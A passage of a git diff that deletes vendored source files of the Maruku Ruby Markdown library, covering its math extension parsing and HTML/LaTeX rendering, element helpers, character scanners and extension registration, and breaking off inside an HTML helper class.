diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/parsing.rb b/vendor/plugins/maruku/lib/maruku/ext/math/parsing.rb
deleted file mode 100644
index 9f3c6e49..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/parsing.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-module MaRuKu
-  class MDDocument
-    # A hash of equation ids to equation elements
-    #
-    # @return [String => MDElement]
-    attr_accessor :eqid2eq
-
-    def is_math_enabled?
-      get_setting :math_enabled
-    end
-  end
-end
-
-# TODO: Properly scope all these regexps
-# Everything goes; takes care of escaping the "\$" inside the expression
-RegInlineMath = /\${1}((?:[^\$]|\\\$)+)\$/
-
-MaRuKu::In::Markdown.register_span_extension(
-  :chars => ?$,
-  :regexp => RegInlineMath,
-  :handler => lambda do |doc, src, con|
-    next false unless doc.is_math_enabled?
-    next false unless m = src.read_regexp(RegInlineMath)
-    math = m.captures.compact.first
-    con.push doc.md_inline_math(math)
-    true
-  end)
-
-
-MathOpen1 = Regexp.escape('\\begin{equation}')
-MathClose1 = Regexp.escape('\\end{equation}')
-MathOpen2 = Regexp.escape('\\[')
-MathClose2 = Regexp.escape('\\]')
-MathOpen3 = Regexp.escape('$$')
-MathClose3 = Regexp.escape('$$')
-
-EqLabel = /(?:\((\w+)\))/
-EquationOpen = /#{MathOpen1}|#{MathOpen2}|#{MathOpen3}/
-EquationClose = /#{MathClose1}|#{MathClose2}|#{MathClose3}/
-
-# $1 is opening, $2 is tex
-EquationStart = /^[ ]{0,3}(#{EquationOpen})(.*)$/
-# $1 is tex, $2 is closing, $3 is tex
-EquationEnd = /^(.*)(#{EquationClose})\s*#{EqLabel}?\s*$/
-# $1 is opening, $2 is tex, $3 is closing, $4 is label
-OneLineEquation = /^[ ]{0,3}(#{EquationOpen})(.*)(#{EquationClose})\s*#{EqLabel}?\s*$/
-
-MaRuKu::In::Markdown.register_block_extension(
-  :regexp  => EquationStart,
-  :handler => lambda do |doc, src, con|
-    next false unless doc.is_math_enabled?
-    first = src.shift_line
-    if first =~ OneLineEquation
-      opening, tex, closing, label = $1, $2, $3, $4
-      numerate = doc.get_setting(:math_numbered).include?(opening)
-      con.push doc.md_equation(tex, label, numerate)
-      next true
-    end
-
-    opening, tex = first.scan(EquationStart).first
-    # ensure newline at end of first line of equation isn't swallowed 
-    tex << "\n"
-    numerate = doc.get_setting(:math_numbered).include?(opening)
-    label = nil
-    loop do
-      unless src.cur_line
-        doc.maruku_error(
-          "Stream finished while reading equation\n\n" + tex.gsub(/^/, '$> '),
-          src, con)
-        break
-      end
-
-      line = src.shift_line
-      if line =~ EquationEnd
-        tex_line, closing = $1, $2
-        label = $3 if $3
-        tex << tex_line << "\n"
-        break
-      end
-
-      tex << line << "\n"
-    end
-    con.push doc.md_equation(tex, label, numerate)
-    true
-  end)
-
-
-# This adds support for \eqref
-RegEqrefLatex = /\\eqref\{(\w+?)\}/
-RegEqPar = /\(eq:(\w+?)\)/
-RegEqref = Regexp.union(RegEqrefLatex, RegEqPar)
-
-MaRuKu::In::Markdown.register_span_extension(
-  :chars => [?\\, ?(],
-  :regexp => RegEqref,
-  :handler => lambda do |doc, src, con|
-    return false unless doc.is_math_enabled?
-    eqid = src.read_regexp(RegEqref).captures.compact.first
-    con.push doc.md_el(:eqref, [], :eqid => eqid)
-    true
-  end)
-
-# This adds support for \ref
-RegRef = /\\ref\{(\w*?)\}/
-MaRuKu::In::Markdown.register_span_extension(
-  :chars => [?\\, ?(],
-  :regexp => RegRef,
-  :handler => lambda do |doc, src, con|
-    return false unless doc.is_math_enabled?
-    refid = src.read_regexp(RegRef).captures.compact.first
-    con.push doc.md_el(:divref, [], :refid => refid)
-    true
-  end)
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/to_html.rb b/vendor/plugins/maruku/lib/maruku/ext/math/to_html.rb
deleted file mode 100644
index 08333a61..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/to_html.rb
+++ /dev/null
@@ -1,195 +0,0 @@
-=begin maruku_doc
-Extension: math
-Attribute: html_math_engine
-Scope: document, element
-Output: html
-Summary: Select the rendering engine for MathML.
-Default: <?mrk Globals[:html_math_engine].to_s ?>
-
-Select the rendering engine for math.
-
-If you want to use your custom engine `foo`, then set:
-
-  HTML math engine: foo
-{:lang=markdown}
-
-and then implement two functions:
-
-  def convert_to_mathml_foo(kind, tex)
-    ...
-  end
-=end
-
-=begin maruku_doc
-Extension: math
-Attribute: html_png_engine
-Scope: document, element
-Output: html
-Summary: Select the rendering engine for math.
-Default: <?mrk Globals[:html_math_engine].to_s ?>
-
-Same thing as `html_math_engine`, only for PNG output.
-
-  def convert_to_png_foo(kind, tex)
-    # same thing
-    ...
-  end
-{:lang=ruby}
-
-=end
-
-require 'nokogiri'
-
-module MaRuKu
-  module Out
-    module HTML
-      # Creates an xml Mathml document of this node's TeX code.
-      #
-      # @return Nokogiri::XML::Document]
-      def render_mathml(kind, tex)
-        engine = get_setting(:html_math_engine)
-        method = "convert_to_mathml_#{engine}"
-        if self.respond_to? method
-          mathml = self.send(method, kind, tex)
-          return mathml || convert_to_mathml_none(kind, tex)
-        end
-
-        # TODO: Warn here
-        puts "A method called #{method} should be defined."
-        return convert_to_mathml_none(kind, tex)
-      end
-
-      # Renders a PNG image of this node's TeX code.
-      # Returns
-      #
-      # @return [MaRuKu::Out::HTML::PNG, nil]
-      #   A struct describing the location and size of the image,
-      #   or nil if no library is loaded that can render PNGs.
-      def render_png(kind, tex)
-        engine = get_setting(:html_png_engine)
-        method = "convert_to_png_#{engine}".to_sym
-        return self.send(method, kind, tex) if self.respond_to? method
-
-        puts "A method called #{method} should be defined."
-        return nil
-      end
-
-      def pixels_per_ex
-        $pixels_per_ex ||= render_png(:inline, "x").height
-      end
-
-      def adjust_png(png, use_depth)
-	    d = Nokogiri::XML::Document.new
-        src = png.src
-
-        height_in_px = png.height
-        depth_in_px = png.depth
-        height_in_ex = height_in_px / pixels_per_ex
-        depth_in_ex = depth_in_px / pixels_per_ex
-        total_height_in_ex = height_in_ex + depth_in_ex
-        style = ""
-        style << "vertical-align: -#{depth_in_ex}ex;" if use_depth
-        style << "height: #{total_height_in_ex}ex;"
-
-        img = Nokogiri::XML::Element.new('img', d)
-        img['src'] = src
-        img['style'] = style
-        img['alt'] = "$#{self.math.strip}$"
-        img
-      end
-
-      def to_html_inline_math
-	    d = Nokogiri::XML::Document.new
-        mathml = get_setting(:html_math_output_mathml) && render_mathml(:inline, self.math)
-        png    = get_setting(:html_math_output_png)    && render_png(:inline, self.math)
-
-        span = create_html_element 'span'
-        span['class'] = 'maruku-inline'
-
-        if mathml
-          mathml['class'] = 'maruku-mathml'
-          return mathml
-        end
-
-        if png
-          img = adjust_png(png, true)
-          add_class_to(img, 'maruku-png')
-          span << img
-        end
-
-        span
-      end
-
-      def to_html_equation
-        d = Nokogiri::XML::Document.new
-        mathml = get_setting(:html_math_output_mathml) && render_mathml(:equation, self.math)
-        png    = get_setting(:html_math_output_png)    && render_png(:equation, self.math)
-
-        div = create_html_element 'div'
-        div['class'] = 'maruku-equation'
-        if mathml
-          if self.label  # then numerate
-            span = Nokogiri::XML::Element.new('span', d)
-            span['class'] = 'maruku-eq-number'
-            span << Nokogiri::XML::Text.new("(#{self.num})", d)
-            div << span
-            div['id'] = "eq:#{self.label}"
-          end	
-          add_class_to(mathml, 'maruku-mathml')
-          div << mathml
-        end
-
-        if png
-          img = adjust_png(png, false)
-          add_class_to(img, 'maruku-png')
-          div << img
-          if self.label  # then numerate
-            span = Nokogiri::XML::Element.new('span', d)
-            span['class'] = 'maruku-eq-number'
-            span << Nokogiri::XML::Text.new("(#{self.num})", d)
-            div << span
-            div['id'] = "eq:#{self.label}"
-          end	
-        end
-
-        source_span = Nokogiri::XML::Element.new('span', d)
-        add_class_to(source_span, 'maruku-eq-tex')
-        code = convert_to_mathml_none(:equation, self.math.strip)
-        code['style'] = 'display: none'
-        source_span << code
-        div << source_span
-
-        div
-      end
-
-      def to_html_eqref
-        d = Nokogiri::XML::Document.new
-        unless eq = self.doc.eqid2eq[self.eqid]
-          maruku_error "Cannot find equation #{self.eqid.inspect}"
-          return Nokogiri::XML::Text.new("(eq:#{self.eqid})", d)
-        end
-
-        a = Nokogiri::XML::Element.new('a', d)
-        a['class'] = 'maruku-eqref'
-        a['href'] = "#eq:#{self.eqid}"
-        a << Nokogiri::XML::Text.new("(#{eq.num})", d)
-        a
-      end
-
-      def to_html_divref
-        d = Nokogiri::XML::Document.new
-        unless hash = self.doc.refid2ref.values.find {|h| h.has_key?(self.refid)}
-          maruku_error "Cannot find div #{self.refid.inspect}"
-          return Nokogiri::XML::Text.new("\\ref{#{self.refid}}", d)
-        end
-        ref= hash[self.refid]
-
-        a = Nokogiri::XML::Element.new('a', d)
-        a['class'] = 'maruku-ref'
-        a['href'] = "#" + self.refid
-        a << Nokogiri::XML::Text.new(ref.num.to_s, d)
-        a
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/to_latex.rb b/vendor/plugins/maruku/lib/maruku/ext/math/to_latex.rb
deleted file mode 100644
index 86b78691..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/to_latex.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'maruku/ext/math/latex_fix'
-
-module MaRuKu
-  module Out
-    module Latex
-      def to_latex_inline_math
-        fix_latex("$#{self.math.strip}$")
-      end
-
-      def to_latex_equation
-        if self.label
-          fix_latex("\\begin{equation}\n#{self.math.strip}\n\\label{#{self.label}}\\end{equation}\n")
-        else
-          fix_latex("\\begin{displaymath}\n#{self.math.strip}\n\\end{displaymath}\n")
-        end
-      end
-
-      def to_latex_eqref
-        "\\eqref{#{self.eqid}}"
-      end
-
-      def to_latex_divref
-        "\\ref{#{self.refid}}"
-      end
-
-      private
-
-      def fix_latex(str)
-        return str unless self.get_setting(:html_math_engine) == 'itex2mml'
-        s = str.gsub("\\mathop{", "\\operatorname{")
-        s.gsub!(/\\begin\{svg\}.*?\\end\{svg\}/m, " ")
-        s.gsub!("\\array{","\\itexarray{")
-        s.gsub("\\space{", "\\itexspace{")
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/helpers.rb b/vendor/plugins/maruku/lib/maruku/helpers.rb
deleted file mode 100644
index dea4d087..00000000
--- a/vendor/plugins/maruku/lib/maruku/helpers.rb
+++ /dev/null
@@ -1,217 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-
-require 'nokogiri'
-
-  # A collection of helper functions for creating Markdown elements.
-  # They hide the particular internal representations.
-  #
-  # Always use these rather than creating an {MDElement} directly.
-  module Helpers
-    # @param children [Array<MDElement, String>]
-    #   The child nodes.
-    #   If the first child is a \{#md\_ial}, it's merged with `al`
-    def md_el(node_type, children = [], meta = {}, al = nil)
-      first = children.first
-      if first.is_a?(MDElement) && first.node_type == :ial
-        if al
-          al += first.ial
-        else
-          al = first.ial
-        end
-        children.shift
-      end
-
-      e = MDElement.new(node_type, children, meta, al)
-      e.doc = @doc
-      e
-    end
-
-    def md_header(level, children, al = nil)
-      md_el(:header, children, {:level => level}, al)
-    end
-
-    # Inline code
-    def md_code(code, al = nil)
-      md_el(:inline_code, [], {:raw_code => code}, al)
-    end
-
-    # Code block
-    def md_codeblock(source, al = nil)
-      md_el(:code, [], {:raw_code => source}, al)
-    end
-
-    def md_quote(children, al = nil)
-      md_el(:quote, children, {}, al)
-    end
-
-    def md_li(children, want_my_par, al = nil)
-      md_el(:li, children, {:want_my_paragraph => want_my_par}, al)
-    end
-
-    def md_footnote(footnote_id, children, al = nil)
-      md_el(:footnote, children, {:footnote_id => footnote_id}, al)
-    end
-
-    def md_abbr_def(abbr, text, al = nil)
-      md_el(:abbr_def, [], {:abbr => abbr, :text => text}, al)
-    end
-
-    def md_abbr(abbr, title)
-      md_el(:abbr, [abbr], :title => title)
-    end
-
-    def md_html(raw_html, al = nil)
-      e = md_el(:raw_html, [], :raw_html => raw_html)
-      begin
-        e.instance_variable_set("@parsed_html",
-          Nokogiri::XML::Document.parse("<marukuwrap>#{raw_html.strip}</marukuwrap>"))
-      rescue Nokogiri::XML::Document.errors => ex
-        e.instance_variable_set "@parsed_html", nil
-        maruku_recover <<ERR
-Nokogiri cannot parse this block of HTML/XML:
-#{raw_html.gsub(/^/, '|').rstrip}
-#{ex.inspect}
-ERR
-      end
-      e
-    end
-
-    def md_link(children, ref_id, al = nil)
-      md_el(:link, children, {:ref_id => ref_id.downcase}, al)
-    end
-
-    def md_im_link(children, url, title = nil, al = nil)
-      md_el(:im_link, children, {:url => url, :title => title}, al)
-    end
-
-    def md_image(children, ref_id, al = nil)
-      md_el(:image, children, {:ref_id => ref_id}, al)
-    end
-
-    def md_im_image(children, url, title = nil, al = nil)
-      md_el(:im_image, children, {:url => url, :title => title}, al)
-    end
-
-    def md_em(children, al = nil)
-      md_el(:emphasis, [children].flatten, {}, al)
-    end
-
-    def md_br
-      md_el(:linebreak, [], {}, nil)
-    end
-
-    def md_hrule
-      md_el(:hrule, [], {}, nil)
-    end
-
-    def md_strong(children, al = nil)
-      md_el(:strong, [children].flatten, {}, al)
-    end
-
-    def md_emstrong(children, al = nil)
-      md_strong(md_em(children), al)
-    end
-
-    # A URL to be linkified (e.g. `<http://www.example.com/>`).
-    def md_url(url, al = nil)
-      md_el(:immediate_link, [], {:url => url}, al)
-    end
-
-    # An email to be linkified
-    # (e.g. `<andrea@rubyforge.org>` or `<mailto:andrea@rubyforge.org>`).
-    def md_email(email, al = nil)
-      md_el(:email_address, [], {:email => email}, al)
-    end
-
-    def md_entity(entity_name, al = nil)
-      md_el(:entity, [], {:entity_name => entity_name}, al)
-    end
-
-    # Markdown extra
-    def md_foot_ref(ref_id, al = nil)
-      md_el(:footnote_reference, [], {:footnote_id => ref_id}, al)
-    end
-
-    def md_par(children, al = nil)
-      md_el(:paragraph, children, meta = {}, al)
-    end
-
-    # A definition of a reference (e.g. `[1]: http://url [properties]`).
-    def md_ref_def(ref_id, url, title = nil, meta = {}, al = nil)
-      meta[:url] = url
-      meta[:ref_id] = ref_id
-      meta[:title] = title if title
-      md_el(:ref_definition, [], meta, al)
-    end
-
-    # inline attribute list
-    def md_ial(al)
-      al = Maruku::AttributeList.new(al) unless al.is_a?(Maruku::AttributeList)
-      md_el(:ial, [], :ial => al)
-    end
-
-    # Attribute list definition
-    def md_ald(id, al)
-      md_el(:ald, [], :ald_id => id, :ald => al)
-    end
-
-    # A server directive (e.g. `<?target code... ?>`)
-    def md_xml_instr(target, code)
-      md_el(:xml_instr, [], :target => target, :code => code)
-    end
-  end
-
-  class MDElement
-    INSPECT2_FORMS = {
-      :paragraph          => ["par",      :children],
-      :footnote_reference => ["foot_ref", :footnote_id],
-      :entity             => ["entity",   :entity_name],
-      :email_address      => ["email",    :email],
-      :inline_code        => ["code",     :raw_code],
-      :raw_html           => ["html",     :raw_html],
-      :emphasis           => ["em",       :children],
-      :strong             => ["strong",   :children],
-      :immediate_link     => ["url",      :url],
-      :image              => ["image",    :children, :ref_id],
-      :im_image           => ["im_image", :children, :url, :title],
-      :link               => ["link",     :children, :ref_id],
-      :im_link            => ["im_link",  :children, :url, :title],
-      :ref_definition     => ["ref_def",  :ref_id, :url, :title],
-      :ial                => ["ial",      :ial]
-    }
-
-    # Outputs the abbreviated form of an element
-    # (this should be `eval`-able to get a copy of the original element).
-    def inspect2
-      name, *params = INSPECT2_FORMS[@node_type]
-      return nil unless name
-
-      params = params.map do |p|
-        next children_inspect if p == :children
-        send(p).inspect
-      end
-      params << @al.inspect if @al && !@al.empty?
-
-      "md_#{name}(#{params.join(', ')})"
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/input/charsource.rb b/vendor/plugins/maruku/lib/maruku/input/charsource.rb
deleted file mode 100644
index d272b178..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/charsource.rb
+++ /dev/null
@@ -1,340 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-module MaRuKu; module In; module Markdown; module SpanLevelParser
-
-# a string scanner coded by me
-class CharSourceManual; end
-
-# a wrapper around StringScanner
-class CharSourceStrscan; end
-
-# A debug scanner that checks the correctness of both
-# by comparing their output
-class CharSourceDebug; end
-
-# Choose!
-
-CharSource = CharSourceManual     # faster! 58ms vs. 65ms
-#CharSource = CharSourceStrscan   # Faster on LONG documents. But it's not multi-byte aware
-                                  # (at least in Ruby 1.9.2 and earlier), Hence unusable in Ruby 1.9.
-#CharSource = CharSourceDebug
-
-
-class CharSourceManual
-	include MaRuKu::Strings
-	
-	def initialize(s, parent=nil)
-		raise "Passed #{s.class}" if not s.kind_of? String
-		@buffer = s
-		@buffer_index = 0
-		@parent = parent
-	end
-	
-	# Return current char as a FixNum (or nil).
-	def cur_char; @buffer[@buffer_index]   end
-
-	# Return the next n chars as a String.
-	def cur_chars(n); @buffer[@buffer_index,n]  end
-	
-	# Return the char after current char as a FixNum (or nil).
-	def next_char; @buffer[@buffer_index+1] end
-	
-	def shift_char
-		c = @buffer[@buffer_index]
-		@buffer_index+=1
-		c
-	end
-	
-	def ignore_char
-		@buffer_index+=1
-		nil
-	end
-	
-	def ignore_chars(n)
-		@buffer_index+=n
-		nil
-	end
-	
-	def current_remaining_buffer
-		@buffer[@buffer_index, @buffer.size-@buffer_index]
-	end
-	
-	def cur_chars_are(string)
-		# There is a bug here
-		if false
-			r2 = /^.{#{@buffer_index}}#{Regexp.escape string}/m
-			@buffer =~ r2
-		else
-			cur_chars(string.size) == string
-		end
-	end
-
-	def next_matches(r)
-		r2 = /^.{#{@buffer_index}}#{r}/m
-		md = r2.match @buffer
-		return !!md
-	end
-	
-	def read_regexp3(r)
-		r2 = /^.{#{@buffer_index}}#{r}/m
-		m = r2.match @buffer
-		if m
-			consumed = m.to_s.size - @buffer_index
-#			puts "Consumed #{consumed} chars (entire is #{m.to_s.inspect})"
-			ignore_chars consumed
-		else
-#			puts "Could not read regexp #{r2.inspect} from buffer "+
-#			" index=#{@buffer_index}"
-#			puts "Cur chars = #{cur_chars(20).inspect}"
-#			puts "Matches? = #{cur_chars(20) =~ r}"
-		end
-		m
-	end
-
-		def read_regexp(r)
-			r2 = /^#{r}/
-			rest = current_remaining_buffer
-			m = r2.match(rest)
-			if m
-				@buffer_index += m.to_s.size
-#				puts "#{r} matched #{rest.inspect}: #{m.to_s.inspect}"
-			end
-			return m
-		end
-	
-	def consume_whitespace
-		while c = cur_char 
-		  if (c == ?\s || c == ?\t)
-#				puts "ignoring #{c}"
-				ignore_char
-			else
-#				puts "#{c} is not ws: "<<c
-				break
-			end
-		end
-	end
-
-	def read_text_chars(out)
-		s = @buffer.size; c=nil
-		while @buffer_index < s && (c=@buffer[@buffer_index]) &&
-			 ((c>=?a && c<=?z) || (c>=?A && c<=?Z))
-				out << c
-				@buffer_index += 1
-		end
-	end
-	
-	def describe
-		s = describe_pos(@buffer, @buffer_index)
-		if @parent
-			s += "\n\n" + @parent.describe
-		end
-		s
-	end
-	include SpanLevelParser
-end
-
-def describe_pos(buffer, buffer_index)
-	len = 75
-	num_before = [len/2, buffer_index].min
-	num_after = [len/2, buffer.size-buffer_index].min
-	num_before_max = buffer_index
-	num_after_max = buffer.size-buffer_index
-	
-#		puts "num #{num_before} #{num_after}"
-	num_before = [num_before_max, len-num_after].min
-	num_after  = [num_after_max, len-num_before].min
-#		puts "num #{num_before} #{num_after}"
-	
-	index_start = [buffer_index - num_before, 0].max
-	index_end   = [buffer_index + num_after, buffer.size].min
-	
-	size = index_end- index_start
-	
-#		puts "- #{index_start} #{size}"
-
-	str = buffer[index_start, size]
-	str.gsub!("\n",'N')
-	str.gsub!("\t",'T')
-	
-	if index_end == buffer.size 
-		str += "EOF"
-	end
-		
-	pre_s = buffer_index-index_start
-	pre_s = [pre_s, 0].max
-	pre_s2 = [len-pre_s,0].max
-#		puts "pre_S = #{pre_s}"
-	pre =" "*(pre_s) 
-	
-	"-"*len+"\n"+
-	str + "\n" +
-	"-"*pre_s + "|" + "-"*(pre_s2)+"\n"+
-#		pre + "|\n"+
-	pre + "+--- Byte #{buffer_index}\n"+
-	
-	"Shown bytes [#{index_start} to #{size}] of #{buffer.size}:\n"+
-	buffer.gsub(/^/, ">")
-	
-#		"CharSource: At character #{@buffer_index} of block "+
-#		" beginning with:\n    #{@buffer[0,50].inspect} ...\n"+
-#		" before: \n     ... #{cur_chars(50).inspect} ... "
-end
-
-
-require 'strscan'
-
-class CharSourceStrscan
-
-	def initialize(s, parent=nil)
-		@scanner = StringScanner.new(s)
-		@size = s.size
-	end
-
-	# Return current char as a FixNum (or nil).
-	def cur_char; @scanner.peek(1)[0]; end
-    
-	# Return the next n chars as a String.
-	def cur_chars(n); @scanner.peek(n);  end
-	
-	# Return the char after current char as a FixNum (or nil).
-	def next_char; @scanner.peek(2)[1]; end
-
-    # Return a character as a FixNum, advancing the pointer.
-	def shift_char; @scanner.getch[0]; end
-
-    # Advance the pointer	
-#	def ignore_char; @scanner.pos=(@scanner.pos + 1); end
-	def ignore_char; @scanner.getch; nil; end
-
-	# Advance the pointer by n
-#	def ignore_chars(n); @scanner.pos=(@scanner.pos + n); end
-	def ignore_chars(n); n.times{@scanner.getch}; nil; end
-
-    # Return the rest of the string
-	def current_remaining_buffer; @scanner.rest; end
-
-    # Returns true if string matches what we're pointing to	
-	def cur_chars_are(string); @scanner.peek(string.size) == string; end
-
-    # Returns true if Regexp r matches what we're pointing to
-	def next_matches(r); !!@scanner.check(r); end
-
-    def read_regexp(r); r.match(@scanner.scan(r)); end
-
-	def consume_whitespace; @scanner.skip(/\s+/); end
-
-	def describe
-    	len = 75
-    	num_before = [len/2, @scanner.pos].min
-    	num_after = [len/2, @scanner.rest_size].min
-    	num_before_max = @scanner.pos
-    	num_after_max = @scanner.rest_size
-	
-    	num_before = [num_before_max, len-num_after].min
-    	num_after  = [num_after_max, len-num_before].min
-	
-    	index_start = [@scanner.pos - num_before, 0].max
-    	index_end   = [@scanner.pos + num_after, @size].min
-	
-    	size = index_end- index_start
-	
-    	str = @scanner.string[index_start, size]
-    	str.gsub!("\n",'N')
-    	str.gsub!("\t",'T')
-	
-    	if index_end == @size 
-    		str += "EOF"
-    	end
-		
-    	pre_s = @scanner.pos-index_start
-    	pre_s = [pre_s, 0].max
-    	pre_s2 = [len-pre_s,0].max
-#		puts "pre_S = #{pre_s}"
-    	pre =" "*(pre_s) 
-	
-    	"-"*len+"\n"+
-    	str + "\n" +
-    	"-"*pre_s + "|" + "-"*(pre_s2)+"\n"+
-#		pre + "|\n"+
-    	pre + "+--- Byte #{@scanner.pos}\n"+
-	
-    	"Shown bytes [#{index_start} to #{size}] of #{@size}:\n"+
-    	@scanner.string.gsub(/^/, ">")
-	
-#		"CharSource: At character #{@buffer_index} of block "+
-#		" beginning with:\n    #{@buffer[0,50].inspect} ...\n"+
-#		" before: \n     ... #{cur_chars(50).inspect} ... "
-
-    end
-end
-
-class CharSourceDebug
-	def initialize(s, parent)
-		@a = CharSourceManual.new(s, parent)
-		@b = CharSourceStrscan.new(s, parent)
-	end
-	
-	def method_missing(methodname, *args)
-		a_bef = @a.describe
-		b_bef = @b.describe
-		
-		a = @a.send(methodname, *args)
-		b = @b.send(methodname, *args)
-		
-#		if methodname == :describe
-#			return a
-#		end
-		
-		if a.kind_of? MatchData
-			if a.to_a != b.to_a
-				puts "called: #{methodname}(#{args})"
-				puts "Matchdata:\na = #{a.to_a.inspect}\nb = #{b.to_a.inspect}"
-				puts "AFTER: "+@a.describe
-				puts "AFTER: "+@b.describe
-				puts "BEFORE: "+a_bef
-				puts "BEFORE: "+b_bef
-				puts caller.join("\n")
-				exit
-			end
-		else
-			if a!=b
-				puts "called: #{methodname}(#{args})"
-				puts "Attenzione!\na = #{a.inspect}\nb = #{b.inspect}"
-				puts ""+@a.describe
-				puts ""+@b.describe
-				puts caller.join("\n")
-				exit
-			end
-		end
-		
-		if @a.cur_char != @b.cur_char
-			puts "Fuori sincronia dopo #{methodname}(#{args})"
-			puts ""+@a.describe
-			puts ""+@b.describe
-			exit
-		end
-		
-		return a
-	end
-end
-
-end end end end
diff --git a/vendor/plugins/maruku/lib/maruku/input/extensions.rb b/vendor/plugins/maruku/lib/maruku/input/extensions.rb
deleted file mode 100644
index fc4cfb4d..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/extensions.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-module MaRuKu; module In; module Markdown
-
-
-	# Hash Fixnum -> name
-	SpanExtensionsTrigger = {}
-	
-	
-	class SpanExtension
-		# trigging chars
-		attr_accessor :chars
-		# trigging regexp
-		attr_accessor :regexp
-		# lambda
-		attr_accessor :block
-	end
-	
-	# Hash String -> Extension
-	SpanExtensions = {}
-
-	def check_span_extensions(src, con)
-		c = src.cur_char
-		if extensions = SpanExtensionsTrigger[c]
-			extensions.each do |e|
-				if e.regexp && (match = src.next_matches(e.regexp))
-					return true if e.block.call(doc, src, con)
-				end
-			end
-		end
-		return false # not special
-	end
-	
-	def self.register_span_extension(args)
-		e = SpanExtension.new
-		e.chars = [*args[:chars]]
-		e.regexp = args[:regexp]
-		e.block = args[:handler] || raise("No blocks passed")
-		e.chars.each do |c|
-			(SpanExtensionsTrigger[c] ||= []).push e
-		end
-	end
-
-	def self.register_block_extension(args)
-		regexp = args[:regexp]
-		BlockExtensions[regexp] = (args[:handler] || raise("No blocks passed"))
-	end
-
-	# Hash Regexp -> Block
-	BlockExtensions = {}
-
-	def check_block_extensions(src, con, line)
-		BlockExtensions.each do |reg, block|
-			if m = reg.match(line)
-				block = BlockExtensions[reg]
-				accepted =  block.call(doc, src, con)
-				return true if accepted
-			end
-		end
-		return false # not special
-	end
-	
-	def any_matching_block_extension?(line)
-		BlockExtensions.each_key do |reg|
-			m = reg.match(line)
-			return m if m
-		end
-		return false
-	end
-	
-end end end
diff --git a/vendor/plugins/maruku/lib/maruku/input/html_helper.rb b/vendor/plugins/maruku/lib/maruku/input/html_helper.rb
deleted file mode 100644
index d551f881..00000000
--- a/vendor/plugins/maruku/lib/maruku/input/html_helper.rb
+++ /dev/null
@@ -1,187 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-module MaRuKu; module In; module Markdown; module SpanLevelParser
-
-# This class helps me read and sanitize HTML blocks
-
-	class HTMLHelper
-		include MaRuKu::Strings
-		
-		Tag = %r{^<(/)?(\w+)\s*([^>]*?)>}m
-		PartialTag = %r{^<.*}m
-
-		EverythingElse = %r{^[^<]+}m
-		CommentStart = %r{^<!--}x
-		CommentEnd = %r{^.*?-->}
-		TO_SANITIZE = ['img','hr','br'] 
-		
-		attr_reader :rest
-		
-		def my_debug(s)
-#			puts "---"*10+"\n"+inspect+"\t>>>\t"s
-		end
-		
-		def initialize 
-			@rest = ""
-			@tag_stack = []
-			@m = nil
-			@already = ""
-			self.state = :inside_element
-		end
-
-		attr_accessor :state # = :inside_element, :inside_tag, :inside_comment,
-		
-		def eat_this(line)
-			@rest = line  + @rest
-			things_read = 0
-			until @rest.empty?
-				case self.state
-					when :inside_comment
-						if @m = CommentEnd.match(@rest)
-							@already += @m.pre_match + @m.to_s
-							@rest = @m.post_match
-							self.state = :inside_element
-						else 
-							@already += @rest 
-							@rest = ""
-							self.state = :inside_comment
-						end
-					when :inside_element 
-						if @m = CommentStart.match(@rest)
-							things_read += 1
-							@already += @m.pre_match + @m.to_s
-							@rest = @m.post_match
-							self.state = :inside_comment
-						elsif @m = Tag.match(@rest) then
-							my_debug "#{@state}: Tag: #{@m.to_s.inspect}"
-							things_read += 1
-							handle_tag
-							self.state = :inside_element
-						elsif @m = PartialTag.match(@rest) then
-							my_debug "#{@state}: PartialTag: #{@m.to_s.inspect}"
